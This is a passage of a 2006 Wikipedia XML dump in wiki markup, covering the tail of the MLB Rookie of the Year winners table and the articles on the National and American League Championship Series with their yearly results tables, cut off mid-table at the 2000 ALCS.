| [[Joe Black]], [[Los Angeles Dodgers|Brooklyn Dodgers]], P 
|-
| [[1953]]
| [[Harvey Kuenn]], [[Detroit Tigers]], SS
| [[Jim Gilliam]], [[Los Angeles Dodgers|Brooklyn Dodgers]], 2B 
|- style=&quot;background: #e3e3e3;&quot;
| [[1954]]
| [[Bob Grim]], [[New York Yankees]], P
| [[Wally Moon]], [[St. Louis Cardinals]], OF 
|-
| [[1955]]
| [[Herb Score]], [[Cleveland Indians]], P
| [[Bill Virdon]], [[St. Louis Cardinals]], OF 
|- style=&quot;background: #e3e3e3;&quot;
| [[1956]]
| [[Luis Aparicio]], [[Chicago White Sox]], SS
| [[Frank Robinson]], [[Cincinnati Reds]], OF 
|-
| [[1957]]
| [[Tony Kubek]], [[New York Yankees]], SS
| [[Jack Sanford]], [[Philadelphia Phillies]], P 
|- style=&quot;background: #e3e3e3;&quot;
| [[1958]]
| [[Albie Pearson]], [[Minnesota Twins|Washington Senators]], OF
| [[Orlando Cepeda]], [[San Francisco Giants]], 1B 
|-
| [[1959]]
| [[Bob Allison]], [[Minnesota Twins|Washington Senators]], OF
| [[Willie McCovey]], [[San Francisco Giants]], 1B 
|- style=&quot;background: #e3e3e3;&quot;
| [[1960]]
| [[Ron Hansen (baseball)|Ron Hansen]], [[Baltimore Orioles]], SS
| [[Frank Howard (baseball player)|Frank Howard]], [[Los Angeles Dodgers]], OF 
|-
| [[1961]]
| [[Don Schwall]], [[Boston Red Sox]], P
| [[Billy Williams (baseball player)|Billy Williams]], [[Chicago Cubs]], OF 
|- style=&quot;background: #e3e3e3;&quot;
| [[1962]]
| [[Tom Tresh]], [[New York Yankees]], SS
| [[Ken Hubbs]], [[Chicago Cubs]], 2B 
|-
| [[1963]]
| [[Gary Peters]], [[Chicago White Sox]], P
| [[Pete Rose]], [[Cincinnati Reds]] 
|- style=&quot;background: #e3e3e3;&quot;
| [[1964]]
| [[Tony Oliva]], [[Minnesota Twins]], OF
| [[Dick Allen]], [[Philadelphia Phillies]] 
|-
| [[1965]]
| [[Curt Blefary]], [[Baltimore Orioles]], OF
| [[Jim Lefebvre]], [[Los Angeles Dodgers]], 2B 
|- style=&quot;background: #e3e3e3;&quot;
| [[1966]]
| [[Tommie Agee]], [[Chicago White Sox]], OF
| [[Tommy Helms]], [[Cincinnati Reds]], 2B 
|-
| [[1967]]
| [[Rod Carew]], [[Minnesota Twins]], 2B
| [[Tom Seaver]], [[New York Mets]], P 
|- style=&quot;background: #e3e3e3;&quot;
| [[1968]]
| [[Stan Bahnsen]], [[New York Yankees]], P
| [[Johnny Bench]], [[Cincinnati Reds]], C 
|-
| [[1969]]
| [[Lou Piniella]], [[Kansas City Royals]], OF
| [[Ted Sizemore]], [[Los Angeles Dodgers]], 2B 
|- style=&quot;background: #e3e3e3;&quot;
| [[1970]]
| [[Thurman Munson]], [[New York Yankees]], C
| [[Carl Morton]], [[Montreal Expos]], P 
|-
| [[1971]]
| [[Chris Chambliss]], [[Cleveland Indians]], 1B
| [[Earl Williams]], [[Atlanta Braves]], C 
|- style=&quot;background: #e3e3e3;&quot;
| [[1972]]
| [[Carlton Fisk]], [[Boston Red Sox]], C
| [[Jon Matlack]], [[New York Mets]], P 
|-
| [[1973]]
| [[Al Bumbry]], [[Baltimore Orioles]], OF
| [[Gary Matthews]], [[San Francisco Giants]], OF 
|- style=&quot;background: #e3e3e3;&quot;
| [[1974]]
| [[Mike Hargrove]], [[Texas Rangers (baseball)|Texas Rangers]], 1B
| [[Bake McBride]], [[St. Louis Cardinals]], OF 
|-
| [[1975]]
| [[Fred Lynn]], [[Boston Red Sox]], OF
| [[John Montefusco]], [[San Francisco Giants]], P 
|- style=&quot;background: #e3e3e3;&quot;
| [[1976]]
| [[Mark Fidrych]], [[Detroit Tigers]], P
| [[Butch Metzger]], [[San Diego Padres]], P&lt;br /&gt;[[Pat Zachry]], [[Cincinnati Reds]], P 
|-
| [[1977]]
| [[Eddie Murray]], [[Baltimore Orioles]], DH
| [[Andre Dawson]], [[Montreal Expos]], OF 
|- style=&quot;background: #e3e3e3;&quot;
| [[1978]]
| [[Lou Whitaker]], [[Detroit Tigers]], 2B
| [[Bob Horner]], [[Atlanta Braves]], 3B 
|-
| [[1979]]
| [[John Castino]], [[Minnesota Twins]], 3B &lt;br /&gt;[[Alfredo Griffin]], [[Toronto Blue Jays]], SS
| [[Rick Sutcliffe]], [[Los Angeles Dodgers]], P 
|- style=&quot;background: #e3e3e3;&quot;
| [[1980]]
| [[Joe Charboneau]], [[Cleveland Indians]], OF
| [[Steve Howe (baseball player)|Steve Howe]], [[Los Angeles Dodgers]], P 
|-
| [[1981]]
| [[Dave Righetti]], [[New York Yankees]], P
| [[Fernando Valenzuela]], [[Los Angeles Dodgers]], P 
|- style=&quot;background: #e3e3e3;&quot;
| [[1982]]
| [[Cal Ripken, Jr.]], [[Baltimore Orioles]], SS
| [[Steve Sax]], [[Los Angeles Dodgers]], 2B 
|-
| [[1983]]
| [[Ron Kittle]], [[Chicago White Sox]], OF
| [[Darryl Strawberry]], [[New York Mets]], OF 
|- style=&quot;background: #e3e3e3;&quot;
| [[1984]]
| [[Alvin Davis]], [[Seattle Mariners]], 1B
| [[Dwight Gooden]], [[New York Mets]], P 
|-
| [[1985]]
| [[Ozzie Guillen]], [[Chicago White Sox]], SS
| [[Vince Coleman (baseball)|Vince Coleman]], [[St. Louis Cardinals]], OF 
|- style=&quot;background: #e3e3e3;&quot;
| [[1986]]
| [[Jose Canseco]], [[Oakland Athletics]], OF
| [[Todd Worrell]], [[St. Louis Cardinals]], P 
|-
| [[1987]]
| [[Mark McGwire]], [[Oakland Athletics]], 1B
| [[Benito Santiago]], [[San Diego Padres]], C 
|- style=&quot;background: #e3e3e3;&quot;
| [[1988]]
| [[Walt Weiss]], [[Oakland Athletics]], SS
| [[Chris Sabo]], [[Cincinnati Reds]], 3B 
|-
| [[1989]]
| [[Gregg Olson]], [[Baltimore Orioles]], P
| [[Jerome Walton]], [[Chicago Cubs]], OF 
|- style=&quot;background: #e3e3e3;&quot;
| [[1990]]
| [[Sandy Alomar, Jr.]], [[Cleveland Indians]], C
| [[David Justice]], [[Atlanta Braves]], OF 
|-
| [[1991]]
| [[Chuck Knoblauch]], [[Minnesota Twins]], 2B
| [[Jeff Bagwell]], [[Houston Astros]], 1B 
|- style=&quot;background: #e3e3e3;&quot;
| [[1992]]
| [[Pat Listach]], [[Milwaukee Brewers]], SS
| [[Eric Karros]], [[Los Angeles Dodgers]], 1B 
|-
| [[1993]]
| [[Tim Salmon]], [[California Angels]], OF
| [[Mike Piazza]], [[Los Angeles Dodgers]], C 
|- style=&quot;background: #e3e3e3;&quot;
| [[1994]]
| [[Bob Hamelin]], [[Kansas City Royals]], DH
| [[Raul Mondesi]], [[Los Angeles Dodgers]], OF 
|-
| [[1995]]
| [[Marty Cordova]], [[Minnesota Twins]], OF
| [[Hideo Nomo]], [[Los Angeles Dodgers]], P 
|- style=&quot;background: #e3e3e3;&quot;
| [[1996]]
| [[Derek Jeter]], [[New York Yankees]], SS
| [[Todd Hollandsworth]], [[Los Angeles Dodgers]], OF 
|-
| [[1997]]
| [[Nomar Garciaparra]], [[Boston Red Sox]], SS
| [[Scott Rolen]], [[Philadelphia Phillies]], 3B 
|- style=&quot;background: #e3e3e3;&quot;
| [[1998]]
| [[Ben Grieve]], [[Oakland Athletics]], OF
| [[Kerry Wood (baseball player)|Kerry Wood]], [[Chicago Cubs]], P 
|-
| [[1999]]
| [[Carlos Beltran]], [[Kansas City Royals]], OF
| [[Scott Williamson]], [[Cincinnati Reds]], P 
|- style=&quot;background: #e3e3e3;&quot;
| [[2000]]
| [[Kazuhiro Sasaki]], [[Seattle Mariners]], P
| [[Rafael Furcal]], [[Atlanta Braves]], SS 
|-
| [[2001]]
| [[Ichiro Suzuki]], [[Seattle Mariners]], OF
| [[Albert Pujols]], [[St. Louis Cardinals]], 3B-OF 
|- style=&quot;background: #e3e3e3;&quot;
| [[2002]]
| [[Eric Hinske]], [[Toronto Blue Jays]], 3B
| [[Jason Jennings]], [[Colorado Rockies]], P
|-
| [[2003]]
| [[Angel Berroa]], [[Kansas City Royals]], SS
| [[Dontrelle Willis]], [[Florida Marlins]], P
|- style=&quot;background: #e3e3e3;&quot;
| [[2004]]
| [[Bobby Crosby]], [[Oakland Athletics]], SS
| [[Jason Bay]], [[Pittsburgh Pirates]], OF
|- 
| [[2005]]
| [[Huston Street]], [[Oakland Athletics]], RP
| [[Ryan Howard]], [[Philadelphia Phillies]], 1B
|}

[[ja:&amp;#12523;&amp;#12540;&amp;#12461;&amp;#12540;&amp;#12539;&amp;#12458;&amp;#12502;&amp;#12539;&amp;#12470;&amp;#12539;&amp;#12452;&amp;#12516;&amp;#12540; (MLB)]]

==External links==
* [http://www.baseball-almanac.com/awards/aw_roy.shtml Rookie of the Year / Jackie Robinson Award on Baseball Almanac]

[[Category:Baseball awards and trophies|Rookie of the Year]]
[[Category:1947 establishments]]</text>
    </revision>
  </page>
  <page>
    <title>National League Championship Series</title>
    <id>3860</id>
    <revision>
      <id>39696557</id>
      <timestamp>2006-02-15T05:19:55Z</timestamp>
      <contributor>
        <ip>69.248.50.23</ip>
      </contributor>
      <comment>/* NLCS results (1969-present) */</comment>
      <text xml:space="preserve">In [[Major League Baseball]], the '''National League Championship Series''' ('''NLCS''') determines who wins the [[National League]] pennant and advances to [[baseball]]'s championship, the [[World Series]], facing the winner of the [[American League Championship Series]].

Prior to [[1969]], the National League Champion (the &quot;Pennant Winner&quot;) was determined by the best won-loss record at the end of the regular season. There was an occasional ad hoc playoff series due to ties under this formulation, as also happened in the rival [[American League]].

A structured playoff series began in [[1969]], when both the National and American Leagues were reorganized into two divisions each, East and West. The two division winners within each league played each other in a best-of-five series to determine who would advanced to the World Series. In 1985, the format changed to best-of-seven.

In [[1981]], a divisional series was held due to split-season caused by [[1981 baseball strike|strike action]].

In [[1994]], the league was restructured into three divisions, with the three division winners and a wild-card team advancing to a best-of-five playoff round, the [[National League Division Series]] (NLDS).  The winners of that round then advance to the best-of-seven NLCS.  This is the system currently in use.

A Most Valuable Player (MVP) award is given to the outstanding player in each series.  No MVP award is given for Division Series play. The [[Warren Giles]] Trophy is awarded to the NLCS winner.

For National League pennant winners prior to 1969, see [[National League pennant winners 1901-68]] and [[National League pennant winners 1876-1900]].
{{expandsect}}
== NLCS results (1969-present) ==
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;3&quot;
|- style=&quot;background-color: #e0e0e0;&quot;
! Year
! Winner
! Loser
! Wins
! Losses
! Series MVP
! Notable
|-
| [[1969 National League Championship Series|1969]]
| [[New York Mets]] || [[Atlanta Braves]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 0 || &amp;nbsp;
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1970 National League Championship Series|1970]]
| [[Cincinnati Reds]] || [[Pittsburgh Pirates]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 0 || &amp;nbsp;
|-
| [[1971 National League Championship Series|1971]]
| [[Pittsburgh Pirates]] || [[San Francisco Giants]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 1 || &amp;nbsp;
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1972 National League Championship Series|1972]]
| [[Cincinnati Reds]] || [[Pittsburgh Pirates]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 2 || &amp;nbsp;
| After [[Johnny Bench]] hit a Game 5-tying home run, [[Bob Moose]] threw a 9th-inning wild pitch to send the Reds to the World Series.
|-
| [[1973 National League Championship Series|1973]]
| [[New York Mets]] || [[Cincinnati Reds]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 2 || &amp;nbsp;
| This series is probably best remembered for a fight between [[Pete Rose]] and [[Bud Harrelson]].
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1974 National League Championship Series|1974]]
| [[Los Angeles Dodgers]] || [[Pittsburgh Pirates]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 1 || &amp;nbsp;
|-
| [[1975 National League Championship Series|1975]]
| [[Cincinnati Reds]] || [[Pittsburgh Pirates]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 0 || &amp;nbsp;
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1976 National League Championship Series|1976]]
| [[Cincinnati Reds]] || [[Philadelphia Phillies]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 0 || &amp;nbsp;
|-
| [[1977 National League Championship Series|1977]]
| [[Los Angeles Dodgers]] || [[Philadelphia Phillies]]
| align=&quot;center&quot; | 3
| align=&quot;center&quot; | 1 || [[Dusty Baker]], Los Angeles
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1978 National League Championship Series|1978]]
| [[Los Angeles Dodgers]] || [[Philadelphia Phillies]]
| align=&quot;center&quot; | 3
| align=&quot;center&quot; | 1 || [[Steve Garvey]], Los Angeles
|-
| [[1979 National League Championship Series|1979]]
| [[Pittsburgh Pirates]] || [[Cincinnati Reds]]
| align=&quot;center&quot; | 3
| align=&quot;center&quot; | 0 || [[Willie Stargell]], Pittsburgh
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1980 National League Championship Series|1980]]
| [[Philadelphia Phillies]] || [[Houston Astros]]
| align=&quot;center&quot; | 3
| align=&quot;center&quot; | 2 || [[Manny Trillo]], Philadelphia
| Numerous surveys and articles rank this as one of the best postseason series of all time; the final four games went to extra innings.
|-
| [[1981 National League Championship Series|1981]]
| [[Los Angeles Dodgers]] || [[Montreal Expos]]
| align=&quot;center&quot; | 3
| align=&quot;center&quot; | 2 || [[Burt Hooton]], Los Angeles
| A key home run by [[Rick Monday]], off [[Steve Rogers]], eliminated the Expos in their only postseason appearance.
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1982 National League Championship Series|1982]]
| [[St. Louis Cardinals]] || [[Atlanta Braves]]
| align=&quot;center&quot; | 3
| align=&quot;center&quot; | 0 || [[Darrell Porter]], St. Louis
|-
| [[1983 National League Championship Series|1983]]
| [[Philadelphia Phillies]] || [[Los Angeles Dodgers]]
| align=&quot;center&quot; | 3
| align=&quot;center&quot; | 1 || [[Gary Matthews]], Philadelphia
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1984 National League Championship Series|1984]]
| [[San Diego Padres]] || [[Chicago Cubs]]
| align=&quot;center&quot; | 3
| align=&quot;center&quot; | 2 || [[Steve Garvey]], San Diego
| After Garvey hit a walk-off home run in Game 4, the Padres finished their 2-0 comeback in Game 5 after [[Leon Durham]] made a crucial error.
|-
| [[1985 National League Championship Series|1985]]
| [[St. Louis Cardinals]] || [[Los Angeles Dodgers]]
| align=&quot;center&quot; | 4
| align=&quot;center&quot; | 2 || [[Ozzie Smith]], St. Louis
| Smith ended Game 5 with his first ever [[switch hitting|left-handed]] home run, and in Game 6 [[Tom Niedenfuer]] surrendered his second big homer in as many games when [[Jack Clark (baseball)|Jack Clark]] struck the deciding blow.
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1986 National League Championship Series|1986]]
| [[New York Mets]] || [[Houston Astros]]
| align=&quot;center&quot; | 4 || align=&quot;center&quot; | 2
| [[Mike Scott (baseball player)|Mike Scott]], Houston
| Scott pitched two complete games, but [[Lenny Dykstra]] and [[Gary Carter]] provided game-winning heroics for the Mets before an epic 16-inning classic in Game 6 closed out the series.
|-
| [[1987 National League Championship Series|1987]]
| [[St. Louis Cardinals]] || [[San Francisco Giants]]
| align=&quot;center&quot; | 4
| align=&quot;center&quot; |  3 || [[Jeff Leonard]], San Francisco
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1988 National League Championship Series|1988]]
| [[Los Angeles Dodgers]] || [[New York Mets]]
| align=&quot;center&quot; | 4
| align=&quot;center&quot; | 3 || [[Orel Hershiser]], Los Angeles
| The series MVP pitched 24 2/3 innings, an LCS record.
|-
| [[1989 National League Championship Series|1989]]
| [[San Francisco Giants]] || [[Chicago Cubs]]
| align=&quot;center&quot; | 4
| align=&quot;center&quot; |  1 || [[Will Clark]], San Francisco
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1990 National League Championship Series|1990]]
| [[Cincinnati Reds]] || [[Pittsburgh Pirates]]
| align=&quot;center&quot; | 4 || align=&quot;center&quot; | 2
| [[Rob Dibble]] and [[Randy Myers]], Cincinnati
|-
| [[1991 National League Championship Series|1991]]
| [[Atlanta Braves]] || [[Pittsburgh Pirates]]
| align=&quot;center&quot; | 4
| align=&quot;center&quot; | 3 || [[Steve Avery]], Atlanta
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1992 National League Championship Series|1992]]
| [[Atlanta Braves]] || [[Pittsburgh Pirates]]
| align=&quot;center&quot; | 4
| align=&quot;center&quot; | 3 || [[John Smoltz]], Atlanta
| Down in the 9th inning, [[Francisco Cabrera]] singled home two runs to win Atlanta their second pennant in a row.
|-
| [[1993 National League Championship Series|1993]]
| [[Philadelphia Phillies]] || [[Atlanta Braves]]
| align=&quot;center&quot; | 4
| align=&quot;center&quot; | 2 || [[Curt Schilling]], Philadelphia
| [[Kim Batiste]], in his only postseason at-bat ever, hit the game-winning single in the 10th inning of Game 1 after making a 9th-inning throwing error that lead to the tying run.
|- style=&quot;background-color: #e0e0e0;&quot;
| 1994
| colspan=&quot;5&quot; align=&quot;center&quot; | ''Not held due to [[1994 baseball strike|player strike]].''
|-
| [[1995 National League Championship Series|1995]]
| [[Atlanta Braves]] || [[Cincinnati Reds]]
| align=&quot;center&quot; | 4
| align=&quot;center&quot; | 0 || [[Mike Devereaux]], Atlanta
|-
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1996 National League Championship Series|1996]]
| [[Atlanta Braves]] || [[St. Louis Cardinals]]
| align=&quot;center&quot; | 4
| align=&quot;center&quot; | 3 || [[Javy López]], Atlanta
| Atlanta came back from a 3-1 deficit by winning their next three games in blowout fashion. The combined score in those games was 32-1.
|-
|-
| [[1997 National League Championship Series|1997]]
| [[Florida Marlins]]&amp;dagger; || [[Atlanta Braves]]
| align=&quot;center&quot; | 4
| align=&quot;center&quot; | 2 || [[Liván Hernández]], Florida
|-
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1998 National League Championship Series|1998]]
| [[San Diego Padres]] || [[Atlanta Braves]]
| align=&quot;center&quot; | 4
| align=&quot;center&quot; | 2 || [[Sterling Hitchcock]], San Diego
|-
|-
| [[1999 National League Championship Series|1999]]
| [[Atlanta Braves]] || [[New York Mets]]&amp;dagger;
| align=&quot;center&quot; | 4 || align=&quot;center&quot; | 2
| [[Eddie Pérez (baseball player)|Eddie Pérez]], Atlanta
| The Mets scored a [[pyrrhic victory]] on a [[Robin Ventura]] hit in the 15th inning of a rainy Game 5. In Game 6, [[Kenny Rogers (baseball player)|Kenny Rogers]] walked [[Andruw Jones]] with the bases loaded to give the Braves the pennant in extra innings.
|-
|- style=&quot;background-color: #e0e0e0;&quot;
| [[2000 National League Championship Series|2000]]
| [[New York Mets]]&amp;dagger; || [[St. Louis Cardinals]]
| align=&quot;center&quot; | 4
| align=&quot;center&quot; | 1 || [[Mike Hampton]], New York
|-
|-
| [[2001 National League Championship Series|2001]]
| [[Arizona Diamondbacks]] || [[Atlanta Braves]]
| align=&quot;center&quot; | 4
| align=&quot;center&quot; | 1 || [[Craig Counsell]], Arizona
|-
|- style=&quot;background-color: #e0e0e0;&quot;
| [[2002 National League Championship Series|2002]]
| [[San Francisco Giants]]&amp;dagger; || [[St. Louis Cardinals]]
| align=&quot;center&quot; | 4
| align=&quot;center&quot; | 1 || [[Benito Santiago]], San Francisco
|-
|-
| [[2003 National League Championship Series|2003]]
| [[Florida Marlins]]&amp;dagger; || [[Chicago Cubs]]
| align=&quot;center&quot; | 4
| align=&quot;center&quot; | 3 || [[Iván Rodríguez]], Florida
| [[Steve Bartman]] rose to fame as Florida battled back from a 3-1 hole to extend the [[Billy Goat Curse]]. The Marlin backstop won the MVP award by virtue of his NLCS record 10 RBI.
|-
|- style=&quot;background-color: #e0e0e0;&quot;
| [[2004 National League Championship Series|2004]]
| [[St. Louis Cardinals]] || [[Houston Astros]]&amp;dagger;
| align=&quot;center&quot; | 4
| align=&quot;center&quot; | 3 || [[Albert Pujols]], St. Louis
| Pujols set NLCS records with 14 hits, 28 total bases and 4 home runs. Houston's [[Carlos Beltran]] matched the latter mark.
|-
|-
| [[2005 National League Championship Series|2005]]
| [[Houston Astros]]&amp;dagger; || [[St. Louis Cardinals]]
| align=&quot;center&quot; | 4
| align=&quot;center&quot; | 2 || [[Roy Oswalt]], Houston
|}
&amp;dagger;''Denotes wild-card team (since 1995).''

==See also==
*[[National League pennant winners 1876-1900]]
*[[American League pennant winners 1901-68]]
*[[National League pennant winners 1901-68]]
*[[American League Division Series]] (ALDS)
*[[National League Division Series]] (NLDS)
*[[American League Championship Series]] (ALCS)
*[[World Series]]

[[Category:Baseball playoffs and champions]] [[Category:National League Championship Series|*]] [[Category:1969 establishments]]

{{NLCS}}</text>
    </revision>
  </page>
  <page>
    <title>American League Championship Series</title>
    <id>3861</id>
    <revision>
      <id>41290970</id>
      <timestamp>2006-02-26T08:55:10Z</timestamp>
      <contributor>
        <username>Juve2000</username>
        <id>522831</id>
      </contributor>
      <comment>/* ALCS results (1969-present) */</comment>
      <text xml:space="preserve">In [[Major League Baseball]], the '''American League Championship Series''' ('''ALCS''') determines who wins the [[American League]] pennant and advances to face the winner of the [[National League Championship Series]] in [[baseball]]'s championship, the [[World Series]]. It began in [[1969 in baseball|1969]], when the American League was reorganized into two divisions, East and West.  The winners of each division played each other in a best-of-five series to determine who would advance to the World Series.  In [[1985 in baseball|1985]], the format changed to best-of-seven.

In [[1994 in baseball|1994]], the league was restructured into three divisions, with the three division winners and a wild-card team advancing to a best-of-five playoff round, known as the [[American League Division Series]] or ALDS.  The winners of that round then advanced to the best-of-seven ALCS.  This is the system currently in use.

The [[Tampa Bay Devil Rays]] and [[Texas Rangers (baseball)|Texas Rangers]] are the only [[American League]] teams to never appear in an ALCS. The other 12 teams and the [[Milwaukee Brewers]] (members of the AL from 1969-1997) have each appeared at least once.

A Most Valuable Player (MVP) award is given to the outstanding player in the ALCS.  No MVP award is given for Division Series play. The [[William Harridge]] Trophy is awarded to the ALCS winner. 

For American League pennant winners prior to [[1969]], see [[American League pennant winners 1901-68]].
{{expandsect}}
== ALCS results (1969-present) ==
Click the link on the far left for detailed information on that series.
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;3&quot;
|- style=&quot;background-color: #e0e0e0;&quot;
! Year
! Winner
! Loser
! Record
! Series MVP
! Notable
|-
| [[1969 American League Championship Series|1969]]
| [[Baltimore Orioles]] || [[Minnesota Twins]]
| align=&quot;center&quot; | 3-0 || &amp;nbsp;
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1970 American League Championship Series|1970]]
| [[Baltimore Orioles]] || [[Minnesota Twins]]
| align=&quot;center&quot; | 3-0 || &amp;nbsp;
|-
| [[1971 American League Championship Series|1971]]
| [[Baltimore Orioles]] || [[Oakland Athletics]]
| align=&quot;center&quot; | 3-0 || &amp;nbsp;
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1972 American League Championship Series|1972]]
| [[Oakland Athletics]] || [[Detroit Tigers]]
| align=&quot;center&quot; | 3-2 || &amp;nbsp;
|-
| [[1973 American League Championship Series|1973]]
| [[Oakland Athletics]] || [[Baltimore Orioles]]
| align=&quot;center&quot; | 3-2 || &amp;nbsp;
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1974 American League Championship Series|1974]]
| [[Oakland Athletics]] || [[Baltimore Orioles]]
| align=&quot;center&quot; | 3-1 || &amp;nbsp;
|-
| [[1975 American League Championship Series|1975]]
| [[Boston Red Sox]] || [[Oakland Athletics]]
| align=&quot;center&quot; | 3-0 || &amp;nbsp;
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1976 American League Championship Series|1976]]
| [[New York Yankees]] || [[Kansas City Royals]]
| align=&quot;center&quot; | 3-2 || &amp;nbsp;
| [[Chris Chambliss]] hits a walk-off [[home run]] in Game 5.

|-
| [[1977 American League Championship Series|1977]]
| [[New York Yankees]] || [[Kansas City Royals]]
| align=&quot;center&quot; | 3-2 || &amp;nbsp;
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1978 American League Championship Series|1978]]
| [[New York Yankees]] || [[Kansas City Royals]]
| align=&quot;center&quot; | 3-1 || &amp;nbsp;
| [[George Brett]] set an A.L.C.S. single-game record with three home runs in Game 4 and set the full series record with two triples (a mark since equaled by [[Kenny Lofton]])
|-
| [[1979 American League Championship Series|1979]]
| [[Baltimore Orioles]]
| [[Los Angeles Angels of Anaheim|California Angels]]
| align=&quot;center&quot; | 3-1 || &amp;nbsp;
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1980 American League Championship Series|1980]]
| [[Kansas City Royals]] || [[New York Yankees]]
| align=&quot;center&quot; | 3-0 || [[Frank White]], Kansas City
|-
| [[1981 American League Championship Series|1981]]
| [[New York Yankees]] || [[Oakland Athletics]]
| align=&quot;center&quot; | 3-0 || [[Graig Nettles]], New York
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1982 American League Championship Series|1982]]
| [[Milwaukee Brewers]]
| [[Los Angeles Angels of Anaheim|California Angels]]
| align=&quot;center&quot; | 3-2 || [[Fred Lynn]], California
|-
| [[1983 American League Championship Series|1983]]
| [[Baltimore Orioles]] || [[Chicago White Sox]]
| align=&quot;center&quot; | 3-1 || [[Mike Boddicker]], Baltimore
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1984 American League Championship Series|1984]]
| [[Detroit Tigers]] || [[Kansas City Royals]]
| align=&quot;center&quot; | 3-0 || [[Kirk Gibson]], Detroit
|-
| [[1985 American League Championship Series|1985]]
| [[Kansas City Royals]] || [[Toronto Blue Jays]]
| align=&quot;center&quot; | 4-3 || [[George Brett (baseball)|George Brett]], Kansas City
| Down 3 games to 1, Kansas City comes back, including two [[Exhibition Stadium|road]] wins. [[Jim Sundberg]] broke Game 7 wide open with a 3-RBI triple.
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1986 American League Championship Series|1986]]
| [[Boston Red Sox]]
| [[Los Angeles Angels of Anaheim|California Angels]]
| align=&quot;center&quot; | 4-3 || [[Marty Barrett]], Boston
| Angels are one out from the pennant in Game 5 when [[Dave Henderson]] hits a go-ahead home run against [[Donnie Moore]]. The Angels tie the game but the Red Sox win in extra innings, then take the next two at home.
|-
| [[1987 American League Championship Series|1987]]
| [[Minnesota Twins]] || [[Detroit Tigers]]
| align=&quot;center&quot; | 4-1 || [[Gary Gaetti]], Minnesota
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1988 American League Championship Series|1988]]
| [[Oakland Athletics]] || [[Boston Red Sox]]
| align=&quot;center&quot; | 4-0 || [[Dennis Eckersley]], Oakland
| Eckersley sets an unbreakable record with 4 saves in the series.
|-
| [[1989 American League Championship Series|1989]]
| [[Oakland Athletics]] || [[Toronto Blue Jays]]
| align=&quot;center&quot; | 4-1 || [[Rickey Henderson]], Oakland
| Henderson's 8 steals (in just 5 games) are an ALCS record, but the big story is the mammoth home run [[Jose Canseco]] blasts at the [[SkyDome]] into the highest deck.
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1990 American League Championship Series|1990]]
| [[Oakland Athletics]] || [[Boston Red Sox]]
| align=&quot;center&quot; | 4-0
| [[Dave Stewart (baseball player)|Dave Stewart]], Oakland
| [[Roger Clemens]] gets ejected in Game 4, putting the nail in Boston's coffin.
|-
| [[1991 American League Championship Series|1991]]
| [[Minnesota Twins]] || [[Toronto Blue Jays]]
| align=&quot;center&quot; | 4-1 || [[Kirby Puckett]], Minnesota
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1992 American League Championship Series|1992]]
| [[Toronto Blue Jays]] || [[Oakland Athletics]]
| align=&quot;center&quot; | 4-2 || [[Roberto Alomar]], Toronto
| MVP Alomar hits a crucial 9th-inning home run off [[Dennis Eckersley]] in Game 4.
|-
| [[1993 American League Championship Series|1993]]
| [[Toronto Blue Jays]] || [[Chicago White Sox]]
| align=&quot;center&quot; | 4-2
| [[Dave Stewart (baseball player)|Dave Stewart]], Toronto
|- style=&quot;background-color: #e0e0e0;&quot;
| 1994
| colspan=&quot;4&quot; align=&quot;center&quot; | ''Not held due to [[1994 baseball strike|player strike]].''
|-
| [[1995 American League Championship Series|1995]]
| [[Cleveland Indians]] || [[Seattle Mariners]]
| align=&quot;center&quot; | 4-2 || [[Orel Hershiser]], Cleveland
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1996 American League Championship Series|1996]]
| [[New York Yankees]] || [[Baltimore Orioles]]&amp;dagger;
| align=&quot;center&quot; | 4-1
| [[Bernie Williams]], New York
| Aided by [[Jeffrey Maier]], [[Derek Jeter]] hit a game-tying home run in Game 1, then Williams hit the walk-off shot in extra innings.
|-
| [[1997 American League Championship Series|1997]]
| [[Cleveland Indians]] || [[Baltimore Orioles]]
| align=&quot;center&quot; | 4-2 || [[Marquis Grissom]], Cleveland
| A home run by [[Tony Fernandez]] propelled Cleveland to its second pennant in three years.
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1998 American League Championship Series|1998]]
| [[New York Yankees]] || [[Cleveland Indians]]
| align=&quot;center&quot; | 4-2 || [[David Wells]], New York
|-
| [[1999 American League Championship Series|1999]]
| [[New York Yankees]] || [[Boston Red Sox]]&amp;dagger;
| align=&quot;center&quot; | 4-1 || [[Orlando Hernández]], New York
|- style=&quot;background-color: #e0e0e0;&quot;
| [[2000 American League Championship Series|2000]]
| [[New York Yankees]] || [[Seattle Mariners]]&amp;dagger;
| align=&quot;center&quot; | 4-2 || [[David Justice]], New York
